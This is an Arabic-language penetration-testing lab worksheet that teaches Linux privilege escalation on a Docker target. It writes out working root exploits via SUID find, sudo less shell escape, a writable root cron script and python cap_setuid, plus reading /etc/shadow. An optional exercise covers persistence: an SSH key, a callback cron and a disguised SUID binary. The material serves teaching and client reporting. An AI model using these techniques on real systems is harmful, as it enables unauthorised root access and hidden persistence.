تصعيد الصلاحيات — ورشة تطبيقية

رأيت، في العرض التوضيحي، كيف يصبح حساب غير مميَّز root عبر استغلال إعداد سيئ واحد. دورك أن تجد ثلاثة مسارات مختلفة، على نفس الصورة الهدف، وأن تكتب البطاقة التي ستسلّمها لعميل.

المدة: 3 ساعات.

التسليم: ~/labs/rapport/elevations.md بثلاث بطاقات منظَّمة + ~/labs/preuves/ بآثار التنفيذ المطابقة.

المتطلبات المسبقة

Docker Desktop يعمل. يجب أن تكون صورة inskillsec/kali-lab مبنية (انظر الوحدة 01) — يبنيها compose الوحدة M09 تلقائيًا عند أول تشغيل إذا لم تكن قد بنيتها بعد.

لا حاجة لأي VM. لا إعداد شبكي مطلوب. الهدف والمهاجم حاويتان تتحدثان على شبكة Docker خاصة، 10.20.30.0/24.

لماذا Docker بدل VM في هذه الورشة

كانت هذه الورشة سابقًا تُقام على Metasploitable 2 + Metasploitable 3 في VirtualBox. الانتقال إلى Docker ليس تفضيلًا تقنيًا: إنه قرار تربوي.

ما فُقد: Windows. تُجسِّد VM بـ Windows Server مسارات تصعيد (Unquoted Service Path، DLL hijacking، AlwaysInstallElevated) لا يوجد لها مكافئ على Linux. حاويات Windows موجودة، لكن حجمها 5 إلى 6 غيغابايت، ولا تعمل إلا على مضيف Windows، ولا تُحاكي بأمانة جهازًا فعليًا — الحركة الحقيقية تتطلب خدمات نظام وسجلًا وواجهة رسومية. هذه المواضيع مغطاة في المفاهيم (الدرس 9.1) وتوجِّه نحو HackTheBox للتطبيق.

ما تحقّق: عشر دقائق إعداد بدل ساعتين، لا مشاكل محول شبكة bridge، لا لقطة (snapshot) يجب أخذها، لا كلمة مرور root ضائعة. هدف قابل للتكرار بت لبت يضمن أن المسارات التربوية الأربعة هي بالضبط ما هو موصوف — لا ثماني CVE نواة تتباين حسب إصدار Ubuntu.

ما بقي دون تغيير: منطق اختبار الاختراق. SUID، sudo مُرخَّى، cron قابل للكتابة، capabilities هجومية — هذه بالضبط نفس النواقل الموجودة على خادم حقيقي. الهدف Docker في هذه الورشة أكثر واقعية من Metasploitable 2 في هذه النقطة بالذات: Metasploitable 2 متحف لـ CVE من 2004، أما هدف M09 فيُعيد إنتاج أخطاء لا تزال تُشاهَد في 2026 على خوادم حديثة.

الخطوة 1 — تشغيل المختبر (دقيقتان)

cd labs/docker/module-09-elevation-privileges
docker compose up -d --build

أول --build يستغرق دقيقتين إلى ثلاث دقائق (Ubuntu 22.04 + عشرون حزمة تقريبًا). المرات التالية فورية بفضل التخزين المؤقت.

تحقق:

docker compose ps
docker compose logs cible-linux

في السجلات، يجب أن ترى أربعة أسطر [m09] Voie … : … تؤكد أن كل ناقل موجود فعلًا. إن غاب أحدها، فلن يعمل المسار المطابق — انظر قسم استكشاف الأعطال.

الدخول إلى المهاجم:

docker compose exec attaquant bash

mkdir -p ~/labs/{preuves,rapport}
cd ~/labs

الخطوة 2 — نقطة الانطلاق bob (5 دقائق)

نقطة الانطلاق حساب مستخدم عادي تم الحصول عليه من وحدة سابقة (تصيّد، كلمة مرور ضعيفة، خدمة مكشوفة). هنا، هو bob:password عبر SSH.

من المهاجم:

ssh bob@10.20.30.20
# password : password

أصبحت الآن على الهدف، بصفة bob. لا صلاحيات. من هنا ينطلق كل شيء آخر.

ما يمثله فعليًا foothold في مهمة حقيقية

في مهمة حقيقية، لا يدخل المرء تقريبًا أبدًا مباشرة بصفة root. يدخل بحساب فقير: خدمة ويب تعمل بصفة www-data، حساب مطوّر منسي بكلمة مرور ضعيفة، كلمة مرور مسرَّبة على GitHub لا تزال تعمل، مستخدم غير sudo نقر على رابط.

يتيح هذا الحساب ثلاثة أشياء: قراءة الملفات المتاحة، إطلاق عمليات، الكتابة في مجلده الخاص. لا يتيح قراءة /etc/shadow، ولا تعديل /etc/passwd، ولا الاستماع على المنافذ المميَّزة (< 1024).

تصعيد الصلاحيات هو الجسر بين هذين العالمين. إنها تقريبًا دائمًا الخطوة التي تستغرق أطول وقت في مهمة، وهي التي تُميّز أكثر ما يُميّز اختبار اختراق متمرس عن مبتدئ. المبتدئ يُطلق linpeas وينقر على ما يلمع. اختبار الاختراق يقرأ مخرجات linpeas ويعرف مسبقًا، عند هذه الخطوة، أيّ من الثلاثين سطرًا المشبوهًا هو الحقيقي.

الخطوة 3 — رسم الخريطة يدويًا (20 دقيقة)

قاوم إغراء إطلاق linpeas فورًا. ابدأ برسم خريطة يدوية: هذا ما يبني ردة الفعل. سيأتي linpeas في الخطوة 4 للمقارنة.

على الهدف، بصفة bob، تكفي أربعة أوامر للكشف عن المسارات الأربعة:

# المسار 1 — ثنائيات SUID
find / -perm -u=s -type f 2>/dev/null

# المسار 2 — sudo مسموح دون كلمة مرور
sudo -l

# المسار 3 — cron خاص بـ root وسكربتات قابلة للتعديل
cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -l /opt/backup.sh

# المسار 4 — capabilities هجومية
getcap -r / 2>/dev/null

كل أمر يكشف مسارًا — ليست أربعة مسارات متنكرة، بل أربعة مسارات حقيقية ومتميزة. خذ خمس دقائق لفهم ما تراه قبل المتابعة.

كيف تقرأ مخرجات find -perm -u=s

find / -perm -u=s -type f 2>/dev/null يسرد جميع الملفات التي عليها بت SUID. تحتوي المخرجات عادةً 15 إلى 25 سطرًا على Ubuntu قياسي، و90% منها طبيعية: su، sudo، mount، umount، passwd، chsh يجب أن تحمل SUID لتعمل — تغيّر هويتها طوال مدة تنفيذها.

ما تبحث عنه هو الثنائي الذي لا علاقة له بهذه القائمة. على هذا الهدف، /usr/bin/find يحمل SUID — find العادي لا يحمل SUID أبدًا على Linux نظيف. هذه هي الإشارة.

القائمة البيضاء لما يجب أن يحمل SUID على Ubuntu 22.04:

/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine

كل ما يخرج عن هذه القائمة مرشَّح للتصعيد. find، less، awk، perl، python، vim، nmap، tar: لكل منها طريقة عبر GTFOBins لإعطاء shell بصلاحية root.

sudo -l: السؤال الذي يجب طرحه دائمًا أولًا

sudo -l يعرض ما يحق لحسابك فعله عبر sudo. تحتوي المخرجات على ثلاث حالات:

Sorry, user bob may not run sudo — لا حق sudo إطلاقًا. هذه الحالة الاسمية.
bob may run the following commands: (ALL) ALL — حق sudo كامل مع كلمة مرور. يلزم كلمة مرور bob. إن كانت لديك بالفعل (كانت نقطة انطلاقك)، فأنت root فورًا: sudo su.
bob may run the following commands: (ALL) NOPASSWD: /usr/bin/less /var/log/* — حق sudo مقيَّد ودون كلمة مرور. هذا المسار 2 في هذه الورشة.

الحالة 3 هي الخطأ الأكثر شيوعًا في بيئة الإنتاج. أراد المسؤول أن يترك bob يقرأ السجلات دون إزعاجه بكلمات المرور، فكتب قاعدة sudoers مقيِّدة. إلا أن less تقبل الأمر !command الذي يُطلق shell — يرث صلاحيات sudo، وبالتالي root. GTFOBins هي التي تسرد لكل أمر التقنية المطابقة.

Cron قابل للكتابة: لماذا هذا خطير أيضًا

يُنفّذ cron أوامر على فترات منتظمة، بصلاحيات المستخدم الذي أُعِدَّ له. يحتوي /etc/crontab و/etc/cron.d/* على مهام cron النظام، التي تُنفَّذ بصفة root افتراضيًا.

صيغة سطر cron هي minute heure jour mois jour_semaine utilisateur commande. على هذا الهدف، يحتوي /etc/cron.d/backup على:

* * * * * root /opt/backup.sh

الترجمة: كل دقيقة، ينفّذ root الأمر /opt/backup.sh. لا شيء خبيث في هذا — إنها حاجة عمل طبيعية (نسخ احتياطي للسجلات).

الخطأ في مكان آخر. يحمل /opt/backup.sh صلاحيات 777: قابل للقراءة والتنفيذ، وقابل للتعديل من طرف الجميع، بمن فيهم bob. يستبدل المهاجم محتوى السكربت بما يريد. بعد دقيقة، يعمل أمره بصفة root.

هذا هو المسار الوحيد في هذه الورشة الذي يتطلب الانتظار — المسارات الثلاثة الأخرى تعطي root فورًا. نقيس هنا الفرق بين هجوم فوري (SUID، sudo، capability) وهجوم مؤخَّر (cron، خدمة، watchdog). في مهمة ذات نافذة زمنية قصيرة، يفوز المهاجم الفوري.

getcap: المسار الذي ينساه نصف اختباري الاختراق

الـ capabilities على Linux آلية وسيطة بين "مستخدم عادي" و"root كامل". تسمح بمنح ثنائي قدرة واحدة محدَّدة — الاستماع على المنافذ المميَّزة، قراءة أي ملف، تغيير الهوية — دون منحه كل صلاحيات root.

عند استخدامها بشكل جيد، تحل محل SUID بأمان أكبر: بدل ثنائي يصبح root دفعة واحدة، تُمنح له بالضبط القدرة التي يحتاجها. ping يحمل cap_net_raw يمكنه فتح مقابس raw، لكن لا يمكنه أي شيء آخر — أكثر تشددًا من ping يحمل SUID.

عند سوء استخدامها، تُعد إحدى أكثر المسارات خفاءً نحو root. cap_setuid+ep على python يسمح باستدعاء setuid(0)، وهذا هو أن تصبح root. هذه القدرة لا تظهر في find / -perm -u=s، ولا تُوجَد في sudo -l، ولا تُعد جزءًا من /etc/crontab. مهاجم لا يُنفّذ getcap -r / يفوّتها.

الأمر getcap -r / 2>/dev/null يسرد جميع capabilities النظام. ابحث عن الكلمات الهجومية: cap_setuid، cap_setgid، cap_sys_admin، cap_dac_read_search، cap_dac_override. كل واحدة مسار مباشر نحو root، شريطة أن تكون على ثنائي يمكن استدعاؤه (مثل python، perl، gdb، أو ثنائي تكتبه بنفسك).

دوّن ما وجدته في ~/labs/rapport/elevations.md. سطر واحد لكل مسار، بثلاث كلمات: SUID find، sudo NOPASSWD less، cron writable backup.sh، cap_setuid python3.

الخطوة 4 — التأكيد بواسطة linpeas (10 دقائق)

من Kali، ادفع linpeas إلى الهدف عبر تحميل HTTP بسيط (Kali يستضيف، bob يحمّل):

# --- على Kali (طرفية أخرى) ---
cd /tmp
cp /usr/share/peass/linpeas/linpeas.sh . 2>/dev/null \
  || wget -q https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000

# --- على الهدف (جلسة bob) ---
cd /tmp
wget http://10.20.30.5:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee ~/linpeas-output.txt

يقضي linpeas خمس دقائق في فحص كل شيء. انظر إلى الأقسام المظلَّلة بالأحمر/الأصفر:

[+] SUID - Check easy privesc, exploits and write perms → يجب أن يسرد /usr/bin/find.
[+] Checking sudo tokens → يجب أن يسرد قاعدة NOPASSWD على less.
[+] Cron jobs → يجب أن يشير إلى /opt/backup.sh بصلاحياته 777.
[+] Capabilities → يجب أن يسرد cap_setuid+ep على python3.10.

أعِد المخرجات إلى Kali لأرشفتها:

# دائمًا على الهدف
exit    # يخرج من SSH

# على Kali
scp bob@10.20.30.20:~/linpeas-output.txt ~/labs/preuves/00-linpeas.txt

هذه الخطوة ليست هنا لـ"الاكتشاف" — لقد وجدت كل شيء بالفعل في الخطوة 3. إنها هنا لـمعايرة عينك: كيف تبدو مخرجات linpeas عندما تكون الأخطاء حقيقية؟ في المهام القادمة، ستعرف فورًا كيف تفرّق بين إشارة حقيقية من linpeas ونتيجة إيجابية كاذبة.

الخطوة 5 — اختيار مساراتك الثلاثة (5 دقائق)

لديك أربعة مسارات، تطلب الورشة ثلاثة مختلفة (ليست ثلاث SUID على ثلاثة ثنائيات مختلفة — بل ثلاث عائلات حقيقية ومتميزة).

اقتراح: المسار 1 + المسار 2 + أحد المسارين الأخيرين. المساران 1 و2 كلاسيكيان، المساران 3 و4 أكثر دقة.

دوّن اختياراتك الثلاثة في رأس rapport/elevations.md، مع جملة تبرير لكل اختيار. هذه ليست شكلية — إنها الفقرة الأولى التي سيقرأها الـ RSSI في التقرير.

الخطوة 6 — المسار 1: SUID على find (30 دقيقة)

الاكتشاف:

ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find

الحرف s بدل x الخاص بالمالك هو بت SUID. إذًا يُنفَّذ find بصلاحيات root، بغض النظر عمّن يُطلقه.

الاستغلال:

find . -exec /bin/sh -p \; -quit
# id
# uid=1000(bob) euid=0(root) groups=1000(bob)

-exec يُطلق أمرًا. \; -quit يقتصر على تنفيذ واحد. -p يطلب من sh الاحتفاظ بمعرّف المستخدم الفعّال (0) بدل أن يعود إلى 1000 — دون -p، يقيّد bash وsh نفسيهما عندما يكتشفان أنهما يعملان بصلاحية SUID.

التأكيد:

whoami                    # يعرض root
id                        # uid=1000(bob) euid=0(root)
cat /etc/shadow | head -3

احفظ الأثر:

script -q -c 'find . -exec /bin/sh -p \; -quit' ~/preuves/01-suid-find.log

اكتب البطاقة في rapport/elevations.md بالنموذج أدناه.

نموذج البطاقة الواجب تعبئته

## التصعيد 1 — SUID على /usr/bin/find

### السياق
- الهدف: 10.20.30.20 (staging-01.acme.local)
- الحساب الأولي: bob (uid 1000)
- الهدف: root

### الاكتشاف
- الأمر: `find / -perm -u=s -type f 2>/dev/null`
- المخرجات الكاشفة: `/usr/bin/find` موجود في القائمة، رغم أن هذا الثنائي
  ليس له أي سبب ليحمل SUID على Linux نظيف.

### الاستغلال
- الحمولة: `find . -exec /bin/sh -p \; -quit`
- التأكيد: `id` → `euid=0(root)`

### الأثر
حساب مستخدم عادي يصبح root في أمر واحد. قراءة /etc/shadow،
تعديل /etc/passwd، تثبيت أبواب خلفية، الوصول إلى بيانات جميع
المستخدمين الآخرين. عمليًا: اختراق كامل للجهاز.

### التوصية
- فوريًا: `chmod u-s /usr/bin/find` — إزالة بت SUID.
- على المدى البعيد: تدقيق أسبوعي لثنائيات SUID (`find / -perm -u=s -type f`)،
  تنبيه عند ظهور أي SUID جديد خارج القائمة البيضاء.

### الإثباتات
- preuves/01-suid-find.log

الخطوة 7 — المسار 2: sudo NOPASSWD على less (30 دقيقة)

الاكتشاف:

sudo -l
# User bob may run the following commands on cible:
#     (ALL) NOPASSWD: /usr/bin/less /var/log/*

يستطيع bob قراءة جميع ملفات /var/log/* بصفة root، دون كلمة مرور. الاختصار البشري هو "يستطيع الاطلاع على السجلات". السلوك الحقيقي أوسع من ذلك.

الاستغلال:

sudo less /var/log/backup.log
# بمجرد إطلاق less، اكتب:
!/bin/bash
# ثم Entrée. يُفتح shell. id:
# uid=0(root) gid=0(root) groups=0(root)

!command ميزة موثَّقة في less: تُمرّر الأمر إلى shell بصلاحيات عملية less. بما أن less يعمل عبر sudo (وبالتالي root)، يرث shell صلاحيات root.

التأكيد:

whoami                    # root
id                        # uid=0
exit                      # يخرج من bash
q                         # يخرج من less

احفظ الأثر:

script -q -c 'sudo less /var/log/backup.log' ~/preuves/02-sudo-less.log
# داخل less: !id ; ثم q للخروج

لماذا يقبل less الأمر !command — لمحة تاريخية

less سليل more، الذي هو سليل pager Berkeley من ثمانينيات القرن الماضي. في ذلك الوقت، لم يكن pager قارئًا سلبيًا: كان أداة يستخدمها مسؤول النظام للعمل. من الطبيعي أن يتمكن المرء، من داخل less، من إطلاق أمر دون مغادرة الصفحة الحالية.

بقيت هذه الميزة !command قائمة. إنها موثَّقة في manpage — لا مخفية ولا محذوفة. المشكلة ليست في less، بل في sudo less. تمرير أمر تفاعلي مثل less عبر sudo هو خطأ تقريبًا دائمًا: less، vi، awk، find، tar، كلها تقبل الهروب من shell. تسرد قائمة GTFOBins أكثر من 200 ثنائي بطريقة إفلات واحدة على الأقل.

قاعدة صارمة لمسؤول يكتب sudoers: لا يجيز إلا الأوامر غير التفاعلية ضمن NOPASSWD. الأمثل: سكربت خاص دون معاملات، والأفضل أن يكون موضوعًا على مسار لا يستطيع bob الكتابة فوق محتواه. قاعدة NOPASSWD: /usr/local/bin/lire-log.sh مكتوبة بشكل جيد آمنة. قاعدة NOPASSWD: /usr/bin/less /var/log/* ليست كذلك.

اكتب البطاقة في التقرير.

الخطوة 8 — المسار 3 أو 4، حسب الاختيار (30 دقيقة)

الخيار أ — cron قابل للكتابة:

# بصفة bob
ls -l /opt/backup.sh
# -rwxrwxrwx 1 root root ... /opt/backup.sh

# حقن أمر
cat > /opt/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod u+s /tmp/rootbash
EOF

# الانتظار دقيقة (cron يُنفَّذ * * * * *)
sleep 65

# استخدام bash بصلاحية SUID الذي وضعه root
/tmp/rootbash -p
# id → euid=0

الحفظ:

script -q -c '/tmp/rootbash -p' ~/preuves/03-cron.log

الخيار ب — capability cap_setuid على python3:

getcap /usr/bin/python3.10
# /usr/bin/python3.10 cap_setuid=ep

python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
# id → uid=0

الحفظ:

script -q -c "python3.10 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'" \
  ~/preuves/03-capability.log

اكتب البطاقة المطابقة.

لماذا يتطلب المسار 3 الانتظار وليس المسارات الأخرى

يستيقظ عفريت cron كل دقيقة. عندما تعيد كتابة /opt/backup.sh، لا يحدث شيء فورًا — عليك انتظار الدقة التالية للساعة.

في مهمة حقيقية، قد يكون هذا التأخير خبرًا جيدًا: يجعل الهجوم قابلًا للكشف فقط في السجلات عند تنفيذ cron، وليس عند تعديل السكربت. تراقب أنظمة SIEM كثيرة execve(/opt/backup.sh)، لا write(/opt/backup.sh) — لدى المهاجم وقت لتنظيف أثره.

قد يكون أيضًا خبرًا سيئًا إن كنت مقيَّدًا بالوقت. نافذة اختبار مدتها ساعتان لا تتناسب مع cron بوتيرة @daily. انظر دائمًا إلى التردد: */1 *، */5 *، @hourly، @daily. cron بوتيرة @daily على مختبر مدته ساعتان غير قابل للاستغلال عمليًا — إنه نظري فقط.

تستخدم الورشة * * * * * (كل دقيقة) لتبقى قابلة للتطبيق. في مهمة حقيقية، إن وقعت على @daily، اكتب الناقل في التقرير بصفة قابل للاستغلال نظريًا وانتقل إلى غيره.

الخطوة 9 — التقرير الشامل (20 دقيقة)

قبل البطاقات الثلاث، أضف ملخصًا تنفيذيًا من خمسة إلى عشرة أسطر، جدولًا تلخيصيًا، وقسم توصيات شاملة.

# تقرير تصعيد الصلاحيات — staging-01.acme.local

## ملخص تنفيذي

تم تحديد واستغلال ثلاثة مسارات لتصعيد الصلاحيات على
الخادم staging-01.acme.local انطلاقًا من حساب مستخدم عادي
(bob). يؤدي كل منها إلى وصول كامل بصفة root في أقل من دقيقة. لا
يعتمد أي منها على ثغرة نواة — تعتمد جميعها على أخطاء في إعداد
النظام أو sudo. لا يتطلب التصحيح أي إعادة تشغيل ويمكن
إنجازه في أقل من ثلاثين دقيقة إجمالًا.

## الملخص

| # | الناقل | الاكتشاف | الاستغلال | التصحيح |
| - | ------- | ---------- | ------------ | ---------- |
| 1 | SUID `/usr/bin/find` | `find / -perm -u=s` | `find . -exec /bin/sh -p \; -quit` | `chmod u-s /usr/bin/find` |
| 2 | sudo NOPASSWD `less /var/log/*` | `sudo -l` | داخل less: `!/bin/bash` | إعادة كتابة `/etc/sudoers.d/bob-less` |
| 3 | Cron قابل للكتابة `/opt/backup.sh` | `cat /etc/cron.d/*` | إعادة كتابة `backup.sh`، الانتظار دقيقة | `chmod 755 /opt/backup.sh`، مالك root |

## البطاقات التفصيلية
(البطاقات الثلاث أعلاه)

## توصيات شاملة

1. **تدقيق** جميع ثنائيات SUID / SGID مرة أسبوعيًا والتنبيه عند أي
   ظهور خارج القائمة البيضاء.
2. **إعادة كتابة** جميع قواعد sudoers NOPASSWD: لا يُجاز إلا سكربتات خاصة
   غير تفاعلية، أبدًا ثنائي نظام مباشرة.
3. **التحقق** من صلاحيات جميع السكربتات المذكورة في /etc/crontab
   و/etc/cron.d/ — لا يجب أن يكون أي سكربت يُنفّذه root قابلًا للتعديل
   من طرف مستخدم غير root.
4. **جرد** capabilities النظام مرة شهريًا: `getcap -r /`.
   إزالة أي capability على ثنائي مفسِّر (python، perl، ruby)
   أو ثنائي معروف في GTFOBins.
5. **كشف** في وقت التشغيل أي تنفيذ لـ `setuid()` من طرف حساب غير
   مميَّز، وأي `execve()` مُطلَق من cron قابل للكتابة، وأي استدعاء
   لـ `!command` في less (عبر auditd).

شبكة التقييم الذاتي

ثلاثة تصعيدات مُستغَلة فعليًا، لا مجرد محدَّدة.
ثلاثة مسارات مختلفة: ليست ثلاث SUID، ليست ثلاث sudo، ليست ثلاث cron.
كل بطاقة تحتوي: السياق + الاكتشاف + الاستغلال + الأثر + التوصية + الإثباتات.
إثباتات كاملة في preuves/ (ملف واحد على الأقل لكل تصعيد، بالإضافة إلى مخرجات linpeas).
لا تقتصر أي بطاقة على لقطة شاشة لـ whoami.
توصيات ملموسة، لا "تعزيز الأمان" ولا "التحديث".
ملخص تنفيذي أقل من عشرة أسطر في رأس التقرير.
جدول تلخيصي في صفحة واحدة، قابل للقراءة دون البطاقات.
لا ثغرة نواة — هذه الورشة لا تطلب أبدًا ثغرة نواة.

امتداد اختياري — كتابة `bash-persist.sh`

بمجرد أن تصبح root، كيف يبقى المهاجم؟ اكتب preuves/persist.sh الذي يُثبِّت ثلاث آليات استمرارية:

مفتاح SSH مضاف إلى /root/.ssh/authorized_keys.
cron بوتيرة @reboot يتصل بالمهاجم.
ثنائي SUID مخفي في /tmp/.X11-lock (اسم عادي بشكل متعمَّد).

وثِّق كل آلية، والأمر لإزالتها بشكل نظيف في نهاية المهمة. اختبار اختراق ينسى backdoor لم يعد اختباري اختراق — يجب أن يسرد التقرير ما وضعه وإجراء الإزالة.

على هذا الهدف Docker، تختفي الاستمرارية عند أول docker compose down -v. هذا خبر جيد تربويًا: يمكنك التجربة دون خوف من نسيان أثر ما. في مهمة حقيقية، يكون أمر الإزالة جزءًا من التسليم.

ما يعطّل عمومًا

العرض	السبب	التصحيح
`find . -exec /bin/sh \;` يعطي shell لكن `id` يقول uid=1000	تخلّى bash عن SUID	استخدام `-p`: `/bin/sh -p` أو `bash -p`.
`sudo less` يطلب كلمة مرور	ملف sudoers لم يُطبَّق	`docker compose exec cible-linux cat /etc/sudoers.d/bob-less`.
`!command` في less لا يفتح shell	إصدار less حديث جدًا بأمان معزَّز	استخدام `!/bin/bash -p` صراحة.
cron لا يُنفَّذ أبدًا	خدمة cron لم تُشغَّل	`docker compose logs cible-linux` — يجب أن يظهر `[m09] Voie 3`. وإلا `docker compose restart cible-linux`.
`python3 -c 'os.setuid(0)'` يعيد EPERM	فقدت capability عند البناء أو أُزيل `cap_add: SETUID` من compose	إعادة بناء: `docker compose build --no-cache cible-linux`.
linpeas يقول "no writable cron" رغم أن /opt/backup.sh قابل للكتابة	إصدار linpeas سابق لـ 2023	تحميل الإصدار latest من GitHub.
shell بصلاحية root يفقد لونه / موجّهه	bash مصغَّر تحت SUID	`export PS1='# '` ثم `source /root/.bashrc` إن كان متاحًا.

ما لا تغطيه الورشة — وأين تذهب

Windows privesc — Unquoted Service Path، DLL hijacking، AlwaysInstallElevated

صور Windows Server في Docker موجودة (mcr.microsoft.com/windows/server)، لكن حجمها 5 إلى 6 غيغابايت، ولا تعمل إلا على مضيف Windows، ولا تُحاكي بأمانة محطة فعلية — العديد من خدمات النظام غائبة.

للتطبيق فعليًا:

HackTheBox Optimum، Legacy، Blue، Devel — أجهزة Windows متقاعدة، متاحة مجانًا في مستوى Starter.
VulnHub — أجهزة Windows افتراضية للتحميل والتشغيل على VirtualBox.
Windows Server 2019 evaluation — ISO مجانية من Microsoft، صالحة 180 يومًا. ثبّتها في VirtualBox وتابع بـ WinPEAS + PowerUp.

مفاهيم مغطاة في الدرس 9.1:

Unquoted Service Path: خدمة يحتوي مسارها على مسافات دون علامات اقتباس، يحلّها Windows بتجربة كل قطعة. C:\Program.exe وضعه المهاجم يُنفَّذ قبل C:\Program Files\App\bin.exe.
DLL hijacking: خدمة تُحمّل DLL بالاسم (shell32.dll)، يبحث عنها Windows في عدة مجلدات. إن كان أحدها قابلًا للكتابة، يضع المهاجم فيه DLL الخاصة به.
AlwaysInstallElevated: مفتاحا سجل HKCU\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=1 وHKLM\... يُجيزان لأي مستخدم تثبيت MSI بصفة SYSTEM.

Kerberoasting وActive Directory

إعادة إنتاج دومين Active Directory في Docker تتطلب حاويتين إلى ثلاث (samba-ad-dc، LDAP، Kerberos)، إعداد DNS مشترك، وتخزينًا دائمًا. النتيجة ليست مطابقة لـ AD من Microsoft — Samba AD بديل جيد لـ Kerberos لكن ليس لدقائق LSASS أو ADCS.

للتطبيق:

GOAD (Game of Active Directory): github.com/Orange-Cyberdefense/GOAD. Vagrant + VirtualBox، يُنشئ دومين sevenkingdoms.local بعدة أجهزة قابلة للاختراق. المختبر المرجعي بالفرنسية.
HackTheBox Prolabs Dante، Offshore، Zephyr: مسارات موجَّهة في Active Directory، بضع عشرات من الدولارات لكنها مفيدة جدًا.
TryHackMe — وحدات AD مجانية للتعرف على الأدوات (impacket، bloodhound، mimikatz).

الورشة القادمة (الوحدة 10 — الحركة الجانبية) تغطي المحور (pivot) في Docker، وهو المتطلب التقني للحركة الجانبية في AD.

ما تخرج به من هذه الورشة

ثلاثة مسارات تصعيد مُستغَلة فعليًا، لا أربعة أسطر من linpeas مصوَّرة.
مفردات دقيقة: SUID، cap_setuid، sudo -l، GTFOBins، cron قابل للكتابة، capability هجومية.
تقرير من ثلاث إلى خمس صفحات قابل للتقديم لعميل، بملخص تنفيذي وجدول وبطاقات وتوصيات شاملة.
القدرة على إعادة هذا العمل وحدك، في ثلاث ساعات، على أي مهمة مستقبلية — أيًا كانت النواقل الموجودة.

الخطوة القادمة: الاختبار القصير. ثم الوحدة 10 — الحركة الجانبية. بمجرد أن تصبح root على جهاز، كيف تخترق العشرين جهازًا الآخرين على الشبكة الداخلية.

المتطلبات المسبقة​

الخطوة 1 — تشغيل المختبر (دقيقتان)​

الخطوة 2 — نقطة الانطلاق bob (5 دقائق)​

الخطوة 3 — رسم الخريطة يدويًا (20 دقيقة)​

الخطوة 4 — التأكيد بواسطة linpeas (10 دقائق)​

الخطوة 5 — اختيار مساراتك الثلاثة (5 دقائق)​

الخطوة 6 — المسار 1: SUID على find (30 دقيقة)​

الخطوة 7 — المسار 2: sudo NOPASSWD على less (30 دقيقة)​

الخطوة 8 — المسار 3 أو 4، حسب الاختيار (30 دقيقة)​

الخطوة 9 — التقرير الشامل (20 دقيقة)​

شبكة التقييم الذاتي​

امتداد اختياري — كتابة bash-persist.sh​

ما يعطّل عمومًا​

ما لا تغطيه الورشة — وأين تذهب​

ما تخرج به من هذه الورشة​